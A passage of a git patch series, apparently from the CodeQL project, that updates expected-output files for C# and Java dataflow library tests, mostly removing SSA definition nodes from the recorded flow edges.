UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2938:24:2943 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2938:24:2943 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2953:24:2958 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2953:24:2958 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2968:24:2973 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2968:24:2973 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2983:24:2988 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2983:24:2988 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2998:24:3003 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2998:24:3003 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3013:24:3018 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3013:24:3018 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3028:24:3033 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3028:24:3033 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3043:24:3048 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3043:24:3048 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3058:24:3063 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3058:24:3063 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3073:24:3078 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3073:24:3078 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3088:24:3093 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3088:24:3093 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3103:24:3108 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3103:24:3108 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3118:24:3123 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3118:24:3123 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3133:24:3138 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3133:24:3138 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3148:24:3153 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3148:24:3153 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3163:24:3168 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3163:24:3168 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3178:24:3183 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3178:24:3183 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3193:24:3198 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3193:24:3198 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | -| UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | +| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1712:25:1712 | access to local variable x | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1727:25:1727 | access to local variable x | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1742:25:1742 | access to local variable x | From f27e8199a1ae35075eb8c03fdd871b559536cab8 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 18 Mar 2025 10:40:24 +0100 Subject: [PATCH 069/121] Java: Accept test changes. --- .../dataflow/capture/test.expected | 18 ------------------ .../dataflow/null/testnullflow.expected | 2 -- .../dataflow/partial/test.expected | 4 +--- .../dataflow/partial/testRev.expected | 4 +--- .../switchexpr/switchexprflow.expected | 4 ---- .../dataflow/taint-ioutils/dataFlow.expected | 5 ----- .../dataflow/this-flow/this-flow.expected | 2 -- 7 files changed, 2 insertions(+), 37 deletions(-) diff --git a/java/ql/test/library-tests/dataflow/capture/test.expected b/java/ql/test/library-tests/dataflow/capture/test.expected index a98b4990228..1e8a2d7d334 100644 --- a/java/ql/test/library-tests/dataflow/capture/test.expected +++ b/java/ql/test/library-tests/dataflow/capture/test.expected @@ -1,10 +1,7 @@ -| A.java:14:14:14:16 | "A" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:15:16:15:16 | a : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:15:16:15:22 | get(...) : String | | A.java:14:14:14:16 | "A" : String | A.java:18:8:18:15 | p : String | -| A.java:14:14:14:16 | "A" : String | A.java:18:25:40:3 | SSA def(p) : String | -| A.java:14:14:14:16 | "A" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | p : String | | A.java:14:14:14:16 | "A" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [p] | @@ -16,16 +13,12 @@ | A.java:14:14:14:16 | "A" : String | A.java:35:26:35:27 | this : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | a : new A(...) { ... } [p] | | A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | p : String | -| A.java:21:11:21:13 | "B" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:15:16:15:22 | get(...) : String | | A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | ...=... : String | -| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | SSA def(s) : String | -| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | [input] SSA phi(s) : String | | A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | SSA phi(s) : String | | A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | phi(String s) : String | -| A.java:21:11:21:13 | "B" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | String s : String | | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] | @@ -37,16 +30,12 @@ | A.java:21:11:21:13 | "B" : String | A.java:35:26:35:27 | this : new A(...) { ... } [String s] | | A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | String s : String | | A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] | -| A.java:23:11:23:13 | "C" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:15:16:15:22 | get(...) : String | | A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | ...=... : String | -| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | SSA def(s) : String | -| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | [input] SSA phi(s) : String | | A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | SSA phi(s) : String | | A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | phi(String s) : String | -| A.java:23:11:23:13 | "C" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | String s : String | | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] | | A.java:23:11:23:13 | "C" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] | @@ -60,20 +49,16 @@ | A.java:23:11:23:13 | "C" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] | | A.java:25:22:25:24 | "D" : String | A.java:4:5:4:7 | parameter this [Return] : Box [elem] | | A.java:25:22:25:24 | "D" : String | A.java:4:9:4:16 | e : String | -| A.java:25:22:25:24 | "D" : String | A.java:4:19:4:31 | SSA def(e) : String | | A.java:25:22:25:24 | "D" : String | A.java:4:21:4:24 | this <.field> [post update] : Box [elem] | | A.java:25:22:25:24 | "D" : String | A.java:4:21:4:28 | ...=... : String | | A.java:25:22:25:24 | "D" : String | A.java:4:28:4:28 | e : String | | A.java:25:22:25:24 | "D" : String | A.java:6:12:6:18 | parameter this : Box [elem] | | A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | elem : String | | A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | this <.field> : Box [elem] | -| A.java:25:22:25:24 | "D" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] | | A.java:25:22:25:24 | "D" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b1, ... (2)] | | A.java:25:22:25:24 | "D" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b1, ... (2)] | | A.java:25:22:25:24 | "D" : String | A.java:15:16:15:22 | get(...) : String | -| A.java:25:22:25:24 | "D" : String | A.java:25:9:25:25 | SSA def(b1) : Box [elem] | | A.java:25:22:25:24 | "D" : String | A.java:25:14:25:25 | new Box(...) : Box [elem] | -| A.java:25:22:25:24 | "D" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] | | A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | Box b1 : Box [elem] | | A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b1, ... (2)] | | A.java:25:22:25:24 | "D" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b1, ... (2)] | @@ -88,19 +73,16 @@ | A.java:25:22:25:24 | "D" : String | A.java:39:12:39:12 | a : new A(...) { ... } [Box b1, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:5:10:5:16 | parameter this [Return] : Box [elem] | | A.java:27:16:27:18 | "E" : String | A.java:5:18:5:25 | e : String | -| A.java:27:16:27:18 | "E" : String | A.java:5:28:5:40 | SSA def(e) : String | | A.java:27:16:27:18 | "E" : String | A.java:5:30:5:33 | this <.field> [post update] : Box [elem] | | A.java:27:16:27:18 | "E" : String | A.java:5:30:5:37 | ...=... : String | | A.java:27:16:27:18 | "E" : String | A.java:5:37:5:37 | e : String | | A.java:27:16:27:18 | "E" : String | A.java:6:12:6:18 | parameter this : Box [elem] | | A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | elem : String | | A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | this <.field> : Box [elem] | -| A.java:27:16:27:18 | "E" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b2, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b2, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:15:16:15:22 | get(...) : String | | A.java:27:16:27:18 | "E" : String | A.java:27:5:27:6 | b2 [post update] : Box [elem] | -| A.java:27:16:27:18 | "E" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | Box b2 : Box [elem] | | A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b2, ... (2)] | | A.java:27:16:27:18 | "E" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b2, ... (2)] | diff --git a/java/ql/test/library-tests/dataflow/null/testnullflow.expected b/java/ql/test/library-tests/dataflow/null/testnullflow.expected index d73b00f0fef..532d64e81f8 100644 --- a/java/ql/test/library-tests/dataflow/null/testnullflow.expected +++ b/java/ql/test/library-tests/dataflow/null/testnullflow.expected @@ -1,6 +1,4 @@ | A.java:5:18:5:21 | null | A.java:2:13:2:20 | o | -| A.java:5:18:5:21 | null | A.java:5:12:5:21 | SSA def(src) | | A.java:5:18:5:21 | null | A.java:5:18:5:21 | null | -| A.java:5:18:5:21 | null | A.java:6:12:6:18 | SSA def(x) | | A.java:5:18:5:21 | null | A.java:6:16:6:18 | src | | A.java:5:18:5:21 | null | A.java:7:10:7:10 | x | diff --git a/java/ql/test/library-tests/dataflow/partial/test.expected b/java/ql/test/library-tests/dataflow/partial/test.expected index 700c1b31dcf..ea7da3a9690 100644 --- a/java/ql/test/library-tests/dataflow/partial/test.expected +++ b/java/ql/test/library-tests/dataflow/partial/test.expected @@ -3,14 +3,12 @@ edges | A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:5 | b [post update] : Box [elem] | | A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:18 | ...=... : Object | | A.java:13:12:13:12 | b : Box [elem] | A.java:17:13:17:16 | f1(...) : Box [elem] | -| A.java:17:9:17:16 | SSA def(b) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] | -| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:17:9:17:16 | SSA def(b) : Box [elem] | +| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] | | A.java:18:8:18:8 | b : Box [elem] | A.java:21:11:21:15 | b : Box [elem] | #select | 0 | A.java:12:5:12:5 | b [post update] : Box [elem] | | 0 | A.java:12:5:12:18 | ...=... : Object | | 0 | A.java:13:12:13:12 | b : Box [elem] | -| 1 | A.java:17:9:17:16 | SSA def(b) : Box [elem] | | 1 | A.java:17:13:17:16 | f1(...) : Box [elem] | | 1 | A.java:18:8:18:8 | b : Box [elem] | | 2 | A.java:21:11:21:15 | b : Box [elem] | diff --git a/java/ql/test/library-tests/dataflow/partial/testRev.expected b/java/ql/test/library-tests/dataflow/partial/testRev.expected index d798f443480..15ce5d56ace 100644 --- a/java/ql/test/library-tests/dataflow/partial/testRev.expected +++ b/java/ql/test/library-tests/dataflow/partial/testRev.expected @@ -2,8 +2,7 @@ edges | A.java:4:16:4:18 | parameter this [Return] [elem] | A.java:22:17:22:25 | new Box(...) [elem] | | A.java:4:16:4:18 | this [post update] [elem] | A.java:4:16:4:18 | parameter this [Return] [elem] | | A.java:5:19:5:22 | elem | A.java:24:10:24:19 | other.elem | -| A.java:22:9:22:25 | SSA def(other) [elem] | A.java:23:13:23:17 | other [elem] | -| A.java:22:17:22:25 | new Box(...) [elem] | A.java:22:9:22:25 | SSA def(other) [elem] | +| A.java:22:17:22:25 | new Box(...) [elem] | A.java:23:13:23:17 | other [elem] | | A.java:23:13:23:17 | other [elem] | A.java:24:10:24:14 | other [elem] | | A.java:23:13:23:17 | other [post update] [elem] | A.java:24:10:24:14 | other [elem] | | A.java:24:10:24:14 | other [elem] | A.java:24:10:24:19 | other.elem | @@ -11,7 +10,6 @@ edges | A.java:28:5:28:5 | b [post update] [elem] | A.java:27:16:27:20 | b [Return] [elem] | | A.java:28:14:28:25 | new Object(...) | A.java:28:5:28:5 | b [post update] [elem] | #select -| 0 | A.java:22:9:22:25 | SSA def(other) [elem] | | 0 | A.java:22:17:22:25 | new Box(...) [elem] | | 0 | A.java:23:13:23:17 | other [elem] | | 0 | A.java:23:13:23:17 | other [post update] [elem] | diff --git a/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected b/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected index 551c836889d..d444bae3cc7 100644 --- a/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected +++ b/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected @@ -1,13 +1,9 @@ | TestSwitchExpr.java:4:15:4:22 | o | -| TestSwitchExpr.java:7:16:7:28 | SSA 